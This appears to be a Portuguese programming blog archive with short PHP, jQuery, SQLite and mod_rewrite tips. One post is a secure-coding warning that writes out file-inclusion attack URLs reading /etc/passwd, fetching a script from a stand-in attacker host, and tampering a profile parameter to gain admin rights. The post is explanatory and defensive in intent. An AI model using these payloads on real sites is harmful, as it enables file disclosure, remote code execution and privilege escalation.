Arquivar por categoria Programação

Método delegate Jquery

Metodo ‘delegate’ executa funções em jquery ou javascript, mesmo após o carregamento dos elementos via ajax (quando um elemento é criado após o carregamento da pagina).

 

$(‘#elemento_pai’).delegate(‘#elemento_filho’, ‘click’, function(){

// Codifique aqui…

});

<div id=”elemento_pai”>
<a id=”elemento_filho” href=”#”>Clique aqui</a>
</div>

Nenhum comentário.

Evitar que Arquivos CSS ou Javascript Sejam Carregados em Cache

Aplicando em folhas de estilo

 

Com PHP

<link href=”style.css?<?php echo time(); ?>” rel=”stylesheet” type=”text/css” />

Resutaldo

<link href=”style.css?1234567890″ rel=”stylesheet” type=”text/css” />

 

Aplicando em scripts javascript

 

Com PHP

<script type=”text/javascript” src=”script.js?<?php echo time(); ?>”></script>

Resutaldo

<script type=”text/javascript” src=”script.js?1234567890″></script>

 

Estas simples implementações evitarão o carregamento do arquivo em cache e não afetarão de forma alguma

o seu CSS ou JS

Nenhum comentário.

Excluir pasta, todos seus subdiretórios e arquivos em PHP

Função simples e eficiente para remover uma pasta e todo o seu conteúdo, incluindo subpastas e arquivos.

function RemoveDir($dir){
if($x = opendir($dir)){
while(false !== ($file = readdir($x))){
if($file != “.” && $file != “..”){
$path = $dir.”/”.$file;
if(is_dir($path)){
RemoveDir($path);
}else if(is_file($path)){
unlink($path);
}
}
}
closedir($x);
}
rmdir($dir);
}

Nenhum comentário.

Formas de integração SQLite3 / PHP 5.4

Durante a migração de um site para um novo servidor constatamos algumas incompatibilidades. O banco utilizado é o SQLite. O site foi desenvolvido utilizando a API procedural de interface com o sistema de gerenciamento de banco de dados (SQLite)  que foi descontinuada na versão 5.4 do php (que é a versão do novo servidor).

Para solucionar este problema o site teve que ser adaptado para utilizar uma outra API mais atualizada, a Pdo_Sqlite, orientada a objetos. Assim nos deparamos com outra incompatibilidade: a API anterior trabalhava com a versão 2 do banco SQLite enquanto a nova trabalha com a versão 3, ou seja, a API Pdo_Sqlite não tem compatibilidade com a versão 2 do banco, que é o que estava sendo utilizado no site até então.

Assim a solução foi converter o banco da versão 2 para a versão 3, isso foi possível graças ao ótimo (e gratuito) programa SQLiteadmin que gerencia e atualiza qualquer versão do SQLite.

 

Nenhum comentário.

Principais Diferenças entre PHP e ASP

Abaixo mostraremos as 14 principais diferenças entre o PHP e o ASP, com todos os exemplos da programação. Você encontrará a parte de ASP em azul e a parte de PHP em verde, de acordo com a legenda…

   ASP   PHP

1.
(ASP)
<% ‘Comentarios %>
(PHP)
<? //Comentarios ?>
ou
<?
/* …linha1
…linha2
…linha3
……… */
?>


2.

(ASP)
<% variavel = “variaveis com qualquer nome” %>
(PHP)
<? $variavel = “variaveis sempre com $ antes”; ?>


3.

(ASP)
<% Response.Write “O request retornado de nome é ” & request(“nome”) %>
(PHP)
<? print “O request retornado de nome é $nome”; ?>

4.
(ASP)
<% Response.Write “A variável a é igual a ” & variavel_a & “!!!” %>
(PHP)
<? print “A variável a é igual a $variavel_a !!!”; ?>
ou <? print “A variável a é igual a “.$variavel_a.” !!!”; ?>

5.
(ASP)
<!–#INCLUDE FILE=”ficheiro.asp” –>
(PHP)
<? include “ficheiro.php”; ?>

6.
(ASP)
<%
if a = 1 then
     ‘tá certo
else
     ‘tá errado
end if
%>
(PHP)
<?php
if ($a == 1)
      { //tá certo }
else
      { //tá errado }
?>


7.
(ASP)
<% variavelservidor = request.servervariables(“HTTP_USER_AGENT”) %>
(PHP)
<? $variavelservidor = $HTTP_USER_AGENT; ?>

8.
(ASP)
<% Response.Cookies(“numero”) = “1” %>
(PHP)
<? SetCookie(“numero”,”1″); ?>

9.
(ASP)
<% Response.Write CInt(a) %>
(PHP)
<? print intval(a); ?>

10.
(ASP)
<% UBOUND(vararray) %>
(PHP)
<? count($vararray); ?>

11.
(ASP)
<% response.write request.querystring(“variavel”) %>
(PHP)
<? print $variavel; ?>

12.
(ASP)
<%
Function funcao()
    funcao = resposta
End Function
%>
(PHP)
function funcao()
{
    return $resposta;
}

13.
(ASP)
<% variavel = variavel + 1 %>
(PHP)
<? $variavel++; ?>

14.
(ASP)
<%
SQLStmt = “SELECT campo1, campo2 ”
SQLStmt = SQLStmt & “FROM tabela ”
SQLStmt = SQLStmt & “WHERE campo1=1 ”
SQLStmt = SQLStmt & “ODER BY campo2 ASC”
%>
(PHP)
<?
$SQLStmt = “SELECT campo1, campo2 “;
$SQLStmt .= “FROM tabela “;
$SQLStmt .= “WHERE campo1=1 “;
$SQLStmt .= “ODER BY campo2 ASC”;

Nenhum comentário.

Gerenciamento de URLs – Criando URLs amigáveis

Hoje em dia é muito comum o uso de scripts que rodam no servidor (server-side) para gerar conteúdo dinâmico em páginas web.

Isto é muito interessante, mas gera um problema: URLs grandes ou complicadas demais, difíceis de memorizar e sem significado, que podem até mesmo dificultar a indexação do site por mecanismos de busca.

Vamos aprender como criar URLs amigáveis, indexáveis e que resumam, de alguma forma, o recurso que elas descrevem.

Introdução

É comum vermos URLs do tipo:
index.php?section=artigos&data=09-08-2004
ou
index.php?s=web&p=1
ou piores que isso, como:
/cgi-bin/index.cgi?id=7288731803928617293&page=6

Os exemplos acima são fictícios mas, com certeza você já se deparou com URLs bem parecidas com essas, inclusive em sites muito conhecidos.

Qual o problema dessas URLs?

A princípio você pode pensar que não há problema algum com essas URLs. Mas pense um segundo. Você consegue decorar uma URL desse tipo? Não seria muito melhor que fosse algo do tipo:
www.site.com/artigos/09/08/2004
ou
www.site.com/web/1

Além do problema da complexidade, essas URLs geram outros problemas:

  • Alguns mecanismos de busca podem deixar de indexar estas páginas, por causa dos caracteres ‘?’ e ‘&’
  • A tecnologia usada na construção do site está sendo exposta
  • Se você resolver mudar a tecnologia do seu site (php para asp, por exemplo), todas as URLs terão que ser mudadas

Expor a tecnologia usada para fazer um site pode ser um problema de segurança e, hoje em dia, qualquer cuidado com segurança, mesmo que pequeno, é importante.

E, além disso, com a mudança da tecnologia usada, todos os links e bookmarks que existam para o seu site serão quebrados, e isso não é nem um pouco interessante.

O que fazer então?

A solução que vou apresentar serve para os usuários do servidor web apache.

É necessário que esteja habilitado no servidor o módulo mod_rewrite e que seja possível o uso de arquivos htaccess.

A solução é simples: mapear as URLs reais para URLs “virtuais”, mais fáceis de compreender e indexar, e independentes da tecnologia utilizada.

É necessário um pouco de conhecimento de expressões regulares.

O que é o mod_rewrite

mod_rewrite é um módulo do apache que realiza a reescrita transparente de URLs usando expressões regulares.

É como se fosse um redirecionamento, só que o usuário não fica sabendo que a página foi reescrita, já que o endereço na barra de endereços do browser não muda e nenhum cabeçalho HTTP 3xx é enviado.

Mãos a obra

O primeiro passo é criar um arquivo htaccess no diretório raiz do seu site (DocumentRoot e acrescentar a linha:
RewriteEngine On
Esta linha habilita o uso do mod_rewrite no seu site.

Agora vamos ? reescrita da URL. Vamos utilizar os exemplos acima. São exemplos simples, mas meu intuito é mostrar o funcionamento da técnica. Você pode usar a sua criatividade para fazer o que quiser e o que for necessário para o seu caso.

Primeiro exemplo: index.php?s=web&p=1

Analisando esta URL podemos perceber que temos duas variáveis (’s’ e ‘p’), provavelmente referentes a seção e página, respectivamente.

Vamos transformá-la em: /web/1

A regra ficaria assim:
RewriteRule ^(.+)\/?([0-9]*)\/?$ /index.php?s=$1&p=$2

Vamos entender a linha acima:
RewriteRule: define o início de uma regra de reescrita.

^(.+)\/?([0-9]*)\/?$: a url “virtual”, ou seja, a url que será usada nos links para esta página. Para que entende um pouco de expressões regulares, esta expressão é bem simples de entender, vamos dissecá-la:
(.+): significa um ou mais caracteres (.). O significado dos parêntesis vai ser explicado mais adiante.
\/?: zero ou uma barra (/). A contrabarra (\) serve para “escapar” o caractere /, informando que ele deve ser interpretado literalmente, e não como um metacaractere.

([0-9])*: qualquer quantidade de dígitos (números), ou seja, zero ou mais.
/index.php?s=$1&p=$2: esta é a URL real, ou seja, a url que vai estar sendo acessada por meio do mod_rewrite.
As expressões ‘$1′ e ‘$2′ significam o primeiro e segundo conjunto de caracteres agrupados por parênteses na expressão da esquerda. Ou seja, é guardada uma referência para esses grupos de caracteres para que você possa usá-los.

Exemplos do resultado desta regra:

/web/1 ou /web/1/ = /index.php?s=web&p=1
/outrasecao/5 ou /outrasecao/5/ = /index.php?s=outrasecao&p=5
/web ou /web/ = index.php?s=web&p=

Vamos a mais um exemplo:
RewriteRule ^artigos\/?([0-9]+)\/([0-9]+)\/([0-9]+)\/?$ index.php?section=artigos&data=$1-$2-$3
(Perceba que a linha pode estar quebrada para caber no espaço, mas trata-se de uma linha só, sem quebras).

Assim, você poderia acessar a URL index.php?section=artigos&data=09-08-2004 pela URL “virtual” artigos/09/08/2004, bem mais amigável do que a primeira.

Não apenas páginas dinâmicas podem ser reescritas por meio do mod_rewrite. Conteúdo estático também.

Um exemplo:
www.site.com/noticias/09-08-2004.html
poderia ser reescrita para
www.site.com/noticias/09/08/2004

usando a regra
RewriteRule ^noticias\/?([0-9]+)\/([0-9]+)\/([0-9]+)\/?$ /noticias/$1-$2-$3

Conclusão

O intuito deste artigo foi apresentar o mod_rewrite e mostrar como criar URLs mais amigáveis, tanto para o usuário quanto para os mecanismos de busca. Você pode fazer praticamente qualquer mapeamento de URLs utilizando o mod_rewrite, o que você precisa é identificar um padrão nas URLs do seu site e criar as regras de reescrita. O limite é o da sua criatividade.

Alguns links para artigos semelhantes e recursos interessantes que podem ajudar bastante:

Nenhum comentário.

Desenvolvimento seguro em PHP – Cuidado com a URL

imagem ilusttrativa hacker

imagem ilusttrativa hacker


Irei abordar nesse post um recurso que é muito utilizado em sites e aplicativos web, que é a passagem de parâmetros via GET (na URL).

Sempre vejo em sites esse recurso sendo utilizado de forma incorreta, dando brecha para que usuários com “segundas” intenções ganhem acesso ao servidor.
– Mas como?
Vejamos dois exemplos de URL que podem gerar um problemão:

http://sitecombrecha.com/index.php?pagina=home.php
http://sitecombrecha.com/login.php?usuario=fulano&senha=abcd1234&perfil=cliente
Na primeira URL o desenvolvedor chama as páginas do site por meio de um include no nome do arquivo que é passado como parâmetro na URL.
Isso possibilita que o atacante consiga visualizar qualquer arquivo do servidor (Desde que o usuário do deamon do web server tenha acesso).
Exemplo para testar a falha:

http://sitecombrecha.com/index.php?pagina=/etc/fstab
http://sitecombrecha.com/index.php?pagina=/etc/passwd
http://sitecombrecha.com/index.php?pagina=/var/log/messages
Se no php.ini a opção allow_url_fopen estiver habilitada, é possível executar arquivos externos da seguinte maneira:

http://sitecombrecha.com/index.php?pagina=http://atacante.com/destroy.php
http://sitecombrecha.com/index.php?pagina=ftp://atacante.com/public/destroy.php
O php permite que funções como include, include_once, require, require_once e fopen façam referencias para URL’s desde que a opção allow_url_fopen esteja habilitada no php.ini.
Para que o script destroy.php do atacante tenha efeito, o servidor web do atacante não deve interpretar o script php, pois senão o script será executado no servidor do atacante.

Na segunda URL estão sendo passados dados sensíveis para a aplicação, que é o login e senha do usuário. Nesse caso o login e senha do usuário podem ficar gravados no histórico do navegador ou no log do proxy.
Se você fizer um formulário de login em HTML e esquecer de colocar method=”post” na tag form ou a escrever errado, por default (w3c) o navegador irá entender method=”get”, e os dados do login irão passar via GET!!!
Exemplo: Dá uma olhada no histórico do navegador de uma LanHouse, ou dá uma olhada no log do proxy dessa LanHouse. É impressionante a quantidade de sistemas e sites que funcionam dessa forma.
Tabém é possível tentar mudar o parâmetro perfil=cliente para perfil=administrador, quem sabe você não vira adm!.
São pequenas coisas que tornam um sistema vulnerável, e essa foi a minha dica para se pensar mais no que deve ser passado na URL.

Obs.: Esse post foi escrito com o único propósito de exemplificar para desenvolvedores como aplicações podem estar vulneráveis a falhas de segurança.

Nenhum comentário.

Vantagens de criação e desenvolvimento em PHP

asps
– Programação PHP
Utilização da linguagem de programação PHP, onde conseguimos reduzir custos com licenças de software e grande poder de desenvolvimento com bibliotecas de programação prontas.
Possui atualmente uma grande facilidade na busca de novas técnicas de programação como por exemplo o Ajax, que faz com que as informações não sejam necessárias o recarregamento das paginas, tornando mais rapida a utilização para o usuário.

– Banco de Dados
Mysql – Banco de dados robusto e com grande capacidade de armazenamento de informações.

– SO Servidores
Linux RedHat – que nos garante grande velocidade de processamento e confiabilidade.

Nenhum comentário.